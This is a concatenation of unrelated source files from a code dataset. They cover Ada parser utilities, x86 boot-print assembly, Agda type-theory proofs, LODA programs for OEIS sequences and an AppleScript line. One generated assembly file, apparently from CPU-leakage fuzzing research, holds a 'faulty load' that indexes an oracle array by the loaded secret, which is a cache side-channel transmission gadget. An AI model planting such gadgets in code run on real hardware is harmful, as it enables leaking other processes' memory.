Container.Tree.ID (Root) = Container.List_ID;
-- Same as Create_List, get all other params from Container.
function Create_From_Element
(Tree : aliased in out WisiToken.Syntax_Trees.Tree;
Element : in Valid_Node_Index;
List_ID : in WisiToken.Token_ID;
Element_ID : in WisiToken.Token_ID;
Separator_ID : in WisiToken.Token_ID)
return List
with Pre => Tree.ID (Tree.Parent (Element)) = List_ID and
Tree.ID (Element) = Element_ID and
Tree.ID (Tree.Parent (Element)) = List_ID;
-- Same as Create_List, but it first finds the root as an ancestor of
-- Element.
function Create_From_Element (Container : in out List; Element : in Valid_Node_Index) return List
with Pre => Container.Tree.ID (Container.Tree.Parent (Element)) = Container.List_ID and
Container.Tree.ID (Element) = Container.Element_ID and
Container.Tree.ID (Container.Tree.Parent (Element)) = Container.List_ID;
-- Same as Create_From_Element, get all other params from Container.
function Create_From_Element
(Tree : aliased in out WisiToken.Syntax_Trees.Tree;
Element : in Valid_Node_Index;
List_ID : in WisiToken.Token_ID;
Element_ID : in WisiToken.Token_ID)
return Constant_List
with Pre => Tree.ID (Tree.Parent (Element)) = List_ID and
Tree.ID (Element) = Element_ID and
Tree.ID (Tree.Parent (Element)) = List_ID;
-- Same as Create_List, but it first finds the root as an ancestor of
-- Element.
function Invalid_List (Tree : aliased in out WisiToken.Syntax_Trees.Tree) return List;
function Invalid_List (Tree : aliased in out WisiToken.Syntax_Trees.Tree) return Constant_List;
-- First, Last return empty cursor, count returns 0, all other
-- operations fail a precondition check.
--
-- Useful when the result should never be used, but must be present,
-- as in a conditional expression.
function Empty_List
(Tree : aliased in out WisiToken.Syntax_Trees.Tree;
List_ID : in WisiToken.Token_ID;
Multi_Element_RHS : in Natural;
Element_ID : in WisiToken.Token_ID;
Separator_ID : in WisiToken.Token_ID)
return List;
-- Result Root returns Invalid_Node_Index; First, Last return empty
-- cursor, count returns 0; Append works correctly.
function Empty_List (Container : in out List) return List;
-- Same as Empty_List, get all other params from Container.
end Creators;
function Compatible (A, B : in Constant_List'Class) return Boolean;
-- True if A and B are not invalid, and all components are the same
-- except Root.
procedure Append
(Container : in out List;
New_Element : in Valid_Node_Index)
with Pre => not Container.Is_Invalid and then Container.Tree.ID (New_Element) = Container.Element_ID;
-- Append New_Item to Container, including Container.Separator_ID if
-- it is not Invalid_Token_Index.
--
-- If Container was Empty, or if Container.Root has no parent in
-- Tree, the modified list has no parent. Otherwise, the parent of
-- Container.Root is updated to hold the new Container.Root.
procedure Prepend
(Container : in out List;
New_Element : in Valid_Node_Index)
with Pre => not Container.Is_Invalid and then Container.Tree.ID (New_Element) = Container.Element_ID;
-- Prepend New_Item to Container, including Container.Separator_ID if
-- it is not Invalid_Token_Index.
--
-- Container.Root parent is unchanged.
procedure Insert
(Container : in out List;
New_Element : in Valid_Node_Index;
After : in Cursor)
with Pre => not Container.Is_Invalid and then
(Container.Tree.ID (New_Element) = Container.Element_ID and
(After = No_Element or else Container.Contains (After)));
-- Insert New_Item into Container after Ater, including
-- Container.Separator_ID if it is not Invalid_Token_Index.
--
-- If After is No_Element, calls Prepend.
--
-- If Container was Empty, or if Container.Root has no parent, the
-- modified list has no parent. Otherwise, if After is
-- Container.Last, the parent of Container.Root is updated to hold
-- the new Container.Root.
procedure Copy
(Source_List : in Constant_List'Class;
Source_First : in Cursor := No_Element;
Source_Last : in Cursor := No_Element;
Dest_List : in out List'Class)
with Pre => Compatible (Source_List, Dest_List);
-- Deep copy slice of Source_List, appending to Dest_List.
--
-- If First = No_Element, copy from List.First.
-- If Last = No_Element, copy thru List.Last.
procedure Delete
(Container : in out List;
Item : in out Cursor)
with Pre => Container.Contains (Item);
-- Delete Item from Container. Parent of Container.Root is updated
-- appropriately. Cursor is set to No_Element.
type Skip_Label is (Nested, Skip);
type Skip_Item (Label : Skip_Label := Skip_Label'First) is
record
Element : Valid_Node_Index;
case Label is
when Nested =>
-- Element is an element in the list currently being copied
-- containing a nested list with an element to skip (given by Element
-- in the next Skip_Item). The nested list is defined by:
List_Root : Valid_Node_Index;
List_ID : Token_ID;
Element_ID : Token_ID;
Separator_ID : Token_ID;
Multi_Element_RHS : Natural;
when Skip =>
-- Element is the element in the current list to skip.
null;
end case;
end record;
subtype Nested_Skip_Item is Skip_Item (Nested);
function Image (Item : in Skip_Item; Descriptor : in WisiToken.Descriptor) return String
is ("(" & Item.Label'Image & ", " & Item.Element'Image &
(case Item.Label is
when Nested => "," & Item.List_Root'Image & ", " & Image (Item.List_ID, Descriptor),
when Skip => "") &
")");
type Skip_Array is array (Positive_Index_Type range <>) of Skip_Item;
type Skip_Info (Skip_Last : SAL.Base_Peek_Type) is
record
-- Skip_Last may be Positive_Index_Type'First - 1 to indicate an
-- empty or invalid skip list.
Start_List_Root : Valid_Node_Index := Valid_Node_Index'Last;
Start_List_ID : Token_ID := Invalid_Token_ID;
Start_Element_ID : Token_ID := Invalid_Token_ID;
Start_Separator_ID : Token_ID := Invalid_Token_ID;
Start_Multi_Element_RHS : Natural := 0;
Skips : Skip_Array (Positive_Index_Type'First .. Skip_Last);
end record;
function Image is new SAL.Gen_Unconstrained_Array_Image_Aux
(Positive_Index_Type, Skip_Item, Skip_Array, WisiToken.Descriptor, Image);
function Image (Item : in Skip_Info; Descriptor : in WisiToken.Descriptor) return String
is ("(" &
(if Item.Start_List_ID = Invalid_Token_ID
then ""
else Item.Start_List_Root'Image & ", " & Image (Item.Start_List_ID, Descriptor) & ", " &
Image (Item.Skips, Descriptor))
& ")");
function Valid_Skip_List (Tree : aliased in out Syntax_Trees.Tree; Skip_List : in Skip_Array) return Boolean;
-- The last element must be Skip, preceding elements must all be
-- Nested. The Element in each array element must have ID = preceding
-- Element_ID. The net result of all skips must not be empty, unless
-- there is only one item (Skip); Start_List_Root may contain only
-- that.
function Copy_Skip_Nested
(Skip_List : in Skip_Info;
Tree : aliased in out Syntax_Trees.Tree)
return Node_Index
with Pre => Skip_List.Start_List_ID /= Invalid_Token_ID and then
(Valid_Skip_List (Tree, Skip_List.Skips) and
Skip_List.Start_List_ID /= Skip_List.Start_Element_ID);
-- Copy list rooted at Skip_List.Start_List, skipping one element as
-- indicated by Skip_List.Skip. Return root of copied list.
--
-- Result is Invalid_Node_Index (indicating an empty list) if
-- Skip_List has only one item (Skip), and Skip_List.Start_List_Root
-- has only that item.
--
-- Raises SAL.Programmer_Error if skip item described by Skip_List is
-- not found.
function List_Root
(Tree : in Syntax_Trees.Tree;
Node : in Valid_Node_Index;
List_ID : in Token_ID)
return Valid_Node_Index
with Pre => Tree.ID (Node) = List_ID;
private
type Cursor is record
Node : Node_Index;
end record;
No_Element : constant Cursor := (Node => Invalid_Node_Index);
type Constant_List (Tree : not null access WisiToken.Syntax_Trees.Tree) is tagged
-- We'd prefer to have Tree be 'constant' here, but then it would
-- also be constant in List, where we _don't_ want that. An
-- alternative design would be to not derive List from Constant_List;
-- then we would would have to duplicate all operations.
record
Root : WisiToken.Node_Index;
List_ID : WisiToken.Token_ID;
Element_ID : WisiToken.Token_ID;
end record;
type List is new Constant_List with
record
One_Element_RHS : Natural;
Multi_Element_RHS : Natural;
Separator_ID : WisiToken.Token_ID;
end record;
function Tree (Container : in Constant_List) return Tree_Constant_Reference
is (Element => Container.Tree);
function Is_Invalid (Container : in Constant_List) return Boolean
is (Container.List_ID = Invalid_Token_ID);
function Is_Empty (Container : in Constant_List) return Boolean
is (Container.Root = Invalid_Node_Index);
function Root (Container : in Constant_List) return Node_Index
is (Container.Root);
function List_ID (Container : in Constant_List) return Token_ID
is (Container.List_ID);
function Element_ID (Container : in Constant_List) return Token_ID
is (Container.Element_ID);
function Has_Element (Cursor : in LR_Utils.Cursor) return Boolean
is (Cursor.Node /= Invalid_Node_Index);
function Node (Cursor : in LR_Utils.Cursor) return Node_Index
is (Cursor.Node);
function Separator_ID (Container : in List) return Token_ID
is (Container.Separator_ID);
function Compatible (A, B : in Constant_List'Class) return Boolean
is
(A.Tree = B.Tree and
A.List_ID /= Invalid_Token_ID and
B.List_ID /= Invalid_Token_ID and
A.List_ID = B.List_ID and
A.Element_ID = B.Element_ID);
end WisiToken.Syntax_Trees.LR_Utils;
|
kernel/arch/x86/boot/print_32bit.asm
|
m-deh/OS-Code
| 2 |
176914
|
<gh_stars>1-10
; Copyright (c) 2018 <NAME>
;
; This software is released under the MIT License.
; https://opensource.org/licenses/MIT
[bits 32]
VIDEO_MEMORY equ 0xb8000
WHITE_OB_BLACK equ 0x0f
print_string_pm:
pusha
mov edx, VIDEO_MEMORY
print_string_pm_loop:
mov al, [ebx]
mov ah, WHITE_OB_BLACK
cmp al, 0
je print_string_pm_done
mov [edx], ax
add ebx, 1
add edx, 2
jmp print_string_pm_loop
print_string_pm_done:
popa
ret
|
test/Compiler/simple/Arith.agda
|
cruhland/agda
| 1,989 |
406
|
module Arith where
open import Common.IO
open import Common.Nat renaming (_∸_ to _-_) -- workaround for #1855
open import Common.Unit
test : Nat
test = 4
foobar : Nat -> Nat
foobar zero = zero
foobar (suc n) = suc (suc n)
main : IO Unit
main =
-- n <- readNat ,
printNat 0 ,,
printNat (0 + 1) ,,
printNat (1 * 2) ,,
printNat (suc (suc (suc (suc zero))) - suc zero) ,,
printNat test ,,
printNat (foobar 4) ,,
-- printNat n ,,
return unit
|
oeis/185/A185342.asm
|
neoneye/loda-programs
| 11 |
87624
|
<filename>oeis/185/A185342.asm
; A185342: Triangle of successive recurrences in columns of A117317(n).
; Submitted by <NAME>
; 2,4,-4,6,-12,8,8,-24,32,-16,10,-40,80,-80,32,12,-60,160,-240,192,-64,14,-84,280,-560,672,-448,128,16,-112,448,-1120,1792,-1792,1024,-256,18,-144,672,-2016,4032,-5376,4608,-2304,512,20,-180,960,-3360,8064,-13440,15360,-11520,5120,-1024,22,-220,1320,-5280,14784,-29568,42240,-42240,28160,-11264,2048,24,-264,1760,-7920,25344,-59136,101376,-126720,112640,-67584,24576,-4096,26,-312,2288,-11440,41184,-109824,219648,-329472,366080,-292864,159744,-53248,8192,28,-364,2912,-16016,64064,-192192,439296
lpb $0
add $2,1
sub $0,$2
lpe
sub $1,2
pow $1,$0
add $0,1
add $2,1
bin $2,$0
mul $1,$2
mov $0,$1
mul $0,2
|
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xca_notsx.log_21829_452.asm
|
ljhsiun2/medusa
| 9 |
164980
|
<reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r9
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0xf620, %rcx
add $4844, %r9
movups (%rcx), %xmm2
vpextrq $1, %xmm2, %rax
nop
nop
add %rax, %rax
lea addresses_UC_ht+0xa21a, %rsi
lea addresses_A_ht+0x15f0, %rdi
nop
nop
xor %rbx, %rbx
mov $9, %rcx
rep movsl
nop
and %rsi, %rsi
lea addresses_WC_ht+0x92a0, %rsi
add %r10, %r10
movw $0x6162, (%rsi)
nop
add $13062, %rsi
lea addresses_D_ht+0x2f60, %rsi
lea addresses_A_ht+0xa960, %rdi
nop
nop
nop
xor $46437, %rax
mov $98, %rcx
rep movsw
nop
nop
nop
sub $14626, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r8
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
// Store
lea addresses_UC+0x1ffd0, %rbx
nop
nop
nop
nop
cmp %rcx, %rcx
movl $0x51525354, (%rbx)
nop
sub %r8, %r8
// REPMOV
lea addresses_WT+0xfe20, %rsi
lea addresses_normal+0x1f7e8, %rdi
nop
nop
xor $63539, %r9
mov $114, %rcx
rep movsb
nop
nop
nop
nop
inc %rdi
// Store
lea addresses_D+0x8ea0, %rsi
nop
and %rdi, %rdi
movw $0x5152, (%rsi)
xor %r8, %r8
// Faulty Load
lea addresses_D+0x4e20, %rcx
xor $60147, %rbp
mov (%rcx), %r8w
lea oracles, %r9
and $0xff, %r8
shlq $12, %r8
mov (%r9,%r8,1), %r8
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r8
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC', 'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 3}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_WT'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_normal'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 7}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_D', 'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 6}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_A_ht'}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
programs/oeis/168/A168555.asm
|
neoneye/loda
| 22 |
12986
|
; A168555: a(n) = n^6*(n^3 + 1)/2.
; 0,1,288,10206,133120,984375,5062176,20235628,67239936,193975965,500500000,1179859626,2581383168,5304663091,10334288160,19227375000,34368126976,59306007033,99196651296,161367371830,256032000000,397182906351,603691298848,900650348676,1320999321600,1907470703125,2714906297376,3812992452738,5289468921856,7253870399595,9841864500000,13220254832176,17592722915328,23206387934961,30359268785440,39408738468750,50781066725376,64982152760743,82609556099616,104365939951260,131074048000000,163693342249101,203338436440608,251299466649946,309064547911680,378344473171875,461099818482976,559570626159048,676308845592576,814213719598825,976570312500000,1167091384689126,1389962827122688,1649892878081631,1952165353612320,2302697132312500,2708100144562176,3175748125915653,3713848404168736,4331518999594290,5038871328000000,5847098806604251,6768571673249568,7816938340178016,9007233614479360,10355994128390625,11881381333874976,13603312427338558,15543599581956096,17726097876869655,20176862324500000,22924314409366476,25999418564149248,29435869021247101,33270287490784800,37542432128906250,42295418273253376,47575951435775763,53434573056442656,59925919535036920,67108995072000000,75047458863267801,83809927208189728,93470291103956886,104108049914480640,115808661716359375,128663910939449376,142772293934615268,158239423116476416,175178450344388085,193710510220500000,213965183999520226,236080984820779008,260205864989335371,286497746049198880,315125072408250000,346267389291134976,380115945813285073,416874323986265376,456759094481895150
mov $1,$0
pow $0,6
pow $1,9
add $0,$1
div $0,2
|
Applications/Finder/window/properties.applescript
|
looking-for-a-job/applescript-examples
| 1 |
3785
|
#!/usr/bin/osascript
tell application "Finder"
properties of (front window)
end tell
|
programs/oeis/022/A022824.asm
|
neoneye/loda
| 22 |
166991
|
<reponame>neoneye/loda
; A022824: a(n) = [ (2n+2)/(n-1) ] + [ (2n+4)/(n-2) ] + ... + [ (4n-2)/1 ].
; 6,14,23,33,44,55,67,81,93,105,120,133,149,164,177,191,210,222,240,256,270,288,305,322,336,355,373,387,410,421,441,460,478,496,516,530,548,571,587,603,626,643,663,684,700,716,741,758,780,797,815
mov $4,2
mov $6,$0
lpb $4
add $0,1
sub $4,1
add $0,$4
sub $0,1
add $8,$6
add $1,$8
lpb $0
mov $7,$0
sub $0,1
add $3,1
mul $7,4
div $7,$3
add $5,$7
lpe
mov $2,$4
lpb $2
mov $2,0
mov $8,$5
lpe
lpe
add $1,2
mov $0,$1
|
Definition/LogicalRelation/ShapeView.agda
|
Vtec234/logrel-mltt
| 0 |
15726
|
<filename>Definition/LogicalRelation/ShapeView.agda
{-# OPTIONS --without-K --safe #-}
open import Definition.Typed.EqualityRelation
module Definition.LogicalRelation.ShapeView {{eqrel : EqRelSet}} where
open EqRelSet {{...}}
open import Definition.Untyped
open import Definition.Typed
open import Definition.Typed.Properties
open import Definition.LogicalRelation
open import Definition.LogicalRelation.Properties.Escape
open import Definition.LogicalRelation.Properties.Reflexivity
open import Tools.Product
open import Tools.Empty using (⊥; ⊥-elim)
import Tools.PropositionalEquality as PE
-- Type for maybe embeddings of reducible types
data MaybeEmb (l : TypeLevel) (⊩⟨_⟩ : TypeLevel → Set) : Set where
noemb : ⊩⟨ l ⟩ → MaybeEmb l ⊩⟨_⟩
emb : ∀ {l′} → l′ < l → MaybeEmb l′ ⊩⟨_⟩ → MaybeEmb l ⊩⟨_⟩
-- Specific reducible types with possible embedding
_⊩⟨_⟩U : (Γ : Con Term) (l : TypeLevel) → Set
Γ ⊩⟨ l ⟩U = MaybeEmb l (λ l′ → Γ ⊩′⟨ l′ ⟩U)
_⊩⟨_⟩ℕ_ : (Γ : Con Term) (l : TypeLevel) (A : Term) → Set
Γ ⊩⟨ l ⟩ℕ A = MaybeEmb l (λ l′ → Γ ⊩ℕ A)
_⊩⟨_⟩Empty_ : (Γ : Con Term) (l : TypeLevel) (A : Term) → Set
Γ ⊩⟨ l ⟩Empty A = MaybeEmb l (λ l′ → Γ ⊩Empty A)
_⊩⟨_⟩Unit_ : (Γ : Con Term) (l : TypeLevel) (A : Term) → Set
Γ ⊩⟨ l ⟩Unit A = MaybeEmb l (λ l′ → Γ ⊩Unit A)
_⊩⟨_⟩ne_ : (Γ : Con Term) (l : TypeLevel) (A : Term) → Set
Γ ⊩⟨ l ⟩ne A = MaybeEmb l (λ l′ → Γ ⊩ne A)
_⊩⟨_⟩B⟨_⟩_ : (Γ : Con Term) (l : TypeLevel) (W : BindingType) (A : Term) → Set
Γ ⊩⟨ l ⟩B⟨ W ⟩ A = MaybeEmb l (λ l′ → Γ ⊩′⟨ l′ ⟩B⟨ W ⟩ A)
-- Construct a general reducible type from a specific
U-intr : ∀ {Γ l} → Γ ⊩⟨ l ⟩U → Γ ⊩⟨ l ⟩ U
U-intr (noemb x) = Uᵣ x
U-intr (emb 0<1 x) = emb 0<1 (U-intr x)
ℕ-intr : ∀ {A Γ l} → Γ ⊩⟨ l ⟩ℕ A → Γ ⊩⟨ l ⟩ A
ℕ-intr (noemb x) = ℕᵣ x
ℕ-intr (emb 0<1 x) = emb 0<1 (ℕ-intr x)
Empty-intr : ∀ {A Γ l} → Γ ⊩⟨ l ⟩Empty A → Γ ⊩⟨ l ⟩ A
Empty-intr (noemb x) = Emptyᵣ x
Empty-intr (emb 0<1 x) = emb 0<1 (Empty-intr x)
Unit-intr : ∀ {A Γ l} → Γ ⊩⟨ l ⟩Unit A → Γ ⊩⟨ l ⟩ A
Unit-intr (noemb x) = Unitᵣ x
Unit-intr (emb 0<1 x) = emb 0<1 (Unit-intr x)
ne-intr : ∀ {A Γ l} → Γ ⊩⟨ l ⟩ne A → Γ ⊩⟨ l ⟩ A
ne-intr (noemb x) = ne x
ne-intr (emb 0<1 x) = emb 0<1 (ne-intr x)
B-intr : ∀ {A Γ l} W → Γ ⊩⟨ l ⟩B⟨ W ⟩ A → Γ ⊩⟨ l ⟩ A
B-intr W (noemb x) = Bᵣ W x
B-intr W (emb 0<1 x) = emb 0<1 (B-intr W x)
-- Construct a specific reducible type from a general with some criterion
U-elim : ∀ {Γ l} → Γ ⊩⟨ l ⟩ U → Γ ⊩⟨ l ⟩U
U-elim (Uᵣ′ l′ l< ⊢Γ) = noemb (Uᵣ l′ l< ⊢Γ)
U-elim (ℕᵣ D) with whnfRed* (red D) Uₙ
... | ()
U-elim (Emptyᵣ D) with whnfRed* (red D) Uₙ
... | ()
U-elim (Unitᵣ D) with whnfRed* (red D) Uₙ
... | ()
U-elim (ne′ K D neK K≡K) =
⊥-elim (U≢ne neK (whnfRed* (red D) Uₙ))
U-elim (Bᵣ′ W F G D ⊢F ⊢G A≡A [F] [G] G-ext) =
⊥-elim (U≢B W (whnfRed* (red D) Uₙ))
U-elim (emb 0<1 x) with U-elim x
U-elim (emb 0<1 x) | noemb x₁ = emb 0<1 (noemb x₁)
U-elim (emb 0<1 x) | emb () x₁
ℕ-elim′ : ∀ {A Γ l} → Γ ⊢ A ⇒* ℕ → Γ ⊩⟨ l ⟩ A → Γ ⊩⟨ l ⟩ℕ A
ℕ-elim′ D (Uᵣ′ l′ l< ⊢Γ) with whrDet* (id (Uⱼ ⊢Γ) , Uₙ) (D , ℕₙ)
... | ()
ℕ-elim′ D (ℕᵣ D′) = noemb D′
ℕ-elim′ D (ne′ K D′ neK K≡K) =
⊥-elim (ℕ≢ne neK (whrDet* (D , ℕₙ) (red D′ , ne neK)))
ℕ-elim′ D (Bᵣ′ W F G D′ ⊢F ⊢G A≡A [F] [G] G-ext) =
⊥-elim (ℕ≢B W (whrDet* (D , ℕₙ) (red D′ , ⟦ W ⟧ₙ)))
ℕ-elim′ D (Emptyᵣ D′) with whrDet* (D , ℕₙ) (red D′ , Emptyₙ)
... | ()
ℕ-elim′ D (Unitᵣ D′) with whrDet* (D , ℕₙ) (red D′ , Unitₙ)
... | ()
ℕ-elim′ D (emb 0<1 x) with ℕ-elim′ D x
ℕ-elim′ D (emb 0<1 x) | noemb x₁ = emb 0<1 (noemb x₁)
ℕ-elim′ D (emb 0<1 x) | emb () x₂
ℕ-elim : ∀ {Γ l} → Γ ⊩⟨ l ⟩ ℕ → Γ ⊩⟨ l ⟩ℕ ℕ
ℕ-elim [ℕ] = ℕ-elim′ (id (escape [ℕ])) [ℕ]
Empty-elim′ : ∀ {A Γ l} → Γ ⊢ A ⇒* Empty → Γ ⊩⟨ l ⟩ A → Γ ⊩⟨ l ⟩Empty A
Empty-elim′ D (Uᵣ′ l′ l< ⊢Γ) with whrDet* (id (Uⱼ ⊢Γ) , Uₙ) (D , Emptyₙ)
... | ()
Empty-elim′ D (Emptyᵣ D′) = noemb D′
Empty-elim′ D (Unitᵣ D′) with whrDet* (D , Emptyₙ) (red D′ , Unitₙ)
... | ()
Empty-elim′ D (ne′ K D′ neK K≡K) =
⊥-elim (Empty≢ne neK (whrDet* (D , Emptyₙ) (red D′ , ne neK)))
Empty-elim′ D (Bᵣ′ W F G D′ ⊢F ⊢G A≡A [F] [G] G-ext) =
⊥-elim (Empty≢B W (whrDet* (D , Emptyₙ) (red D′ , ⟦ W ⟧ₙ)))
Empty-elim′ D (ℕᵣ D′) with whrDet* (D , Emptyₙ) (red D′ , ℕₙ)
... | ()
Empty-elim′ D (emb 0<1 x) with Empty-elim′ D x
Empty-elim′ D (emb 0<1 x) | noemb x₁ = emb 0<1 (noemb x₁)
Empty-elim′ D (emb 0<1 x) | emb () x₂
Empty-elim : ∀ {Γ l} → Γ ⊩⟨ l ⟩ Empty → Γ ⊩⟨ l ⟩Empty Empty
Empty-elim [Empty] = Empty-elim′ (id (escape [Empty])) [Empty]
Unit-elim′ : ∀ {A Γ l} → Γ ⊢ A ⇒* Unit → Γ ⊩⟨ l ⟩ A → Γ ⊩⟨ l ⟩Unit A
Unit-elim′ D (Uᵣ′ l′ l< ⊢Γ) with whrDet* (id (Uⱼ ⊢Γ) , Uₙ) (D , Unitₙ)
... | ()
Unit-elim′ D (Unitᵣ D′) = noemb D′
Unit-elim′ D (Emptyᵣ D′) with whrDet* (D , Unitₙ) (red D′ , Emptyₙ)
... | ()
Unit-elim′ D (ne′ K D′ neK K≡K) =
⊥-elim (Unit≢ne neK (whrDet* (D , Unitₙ) (red D′ , ne neK)))
Unit-elim′ D (Bᵣ′ W F G D′ ⊢F ⊢G A≡A [F] [G] G-ext) =
⊥-elim (Unit≢B W (whrDet* (D , Unitₙ) (red D′ , ⟦ W ⟧ₙ)))
Unit-elim′ D (ℕᵣ D′) with whrDet* (D , Unitₙ) (red D′ , ℕₙ)
... | ()
Unit-elim′ D (emb 0<1 x) with Unit-elim′ D x
Unit-elim′ D (emb 0<1 x) | noemb x₁ = emb 0<1 (noemb x₁)
Unit-elim′ D (emb 0<1 x) | emb () x₂
Unit-elim : ∀ {Γ l} → Γ ⊩⟨ l ⟩ Unit → Γ ⊩⟨ l ⟩Unit Unit
Unit-elim [Unit] = Unit-elim′ (id (escape [Unit])) [Unit]
ne-elim′ : ∀ {A Γ l K} → Γ ⊢ A ⇒* K → Neutral K → Γ ⊩⟨ l ⟩ A → Γ ⊩⟨ l ⟩ne A
ne-elim′ D neK (Uᵣ′ l′ l< ⊢Γ) =
⊥-elim (U≢ne neK (whrDet* (id (Uⱼ ⊢Γ) , Uₙ) (D , ne neK)))
ne-elim′ D neK (ℕᵣ D′) = ⊥-elim (ℕ≢ne neK (whrDet* (red D′ , ℕₙ) (D , ne neK)))
ne-elim′ D neK (Emptyᵣ D′) = ⊥-elim (Empty≢ne neK (whrDet* (red D′ , Emptyₙ) (D , ne neK)))
ne-elim′ D neK (Unitᵣ D′) = ⊥-elim (Unit≢ne neK (whrDet* (red D′ , Unitₙ) (D , ne neK)))
ne-elim′ D neK (ne′ K D′ neK′ K≡K) = noemb (ne K D′ neK′ K≡K)
ne-elim′ D neK (Bᵣ′ W F G D′ ⊢F ⊢G A≡A [F] [G] G-ext) =
⊥-elim (B≢ne W neK (whrDet* (red D′ , ⟦ W ⟧ₙ) (D , ne neK)))
ne-elim′ D neK (emb 0<1 x) with ne-elim′ D neK x
ne-elim′ D neK (emb 0<1 x) | noemb x₁ = emb 0<1 (noemb x₁)
ne-elim′ D neK (emb 0<1 x) | emb () x₂
ne-elim : ∀ {Γ l K} → Neutral K → Γ ⊩⟨ l ⟩ K → Γ ⊩⟨ l ⟩ne K
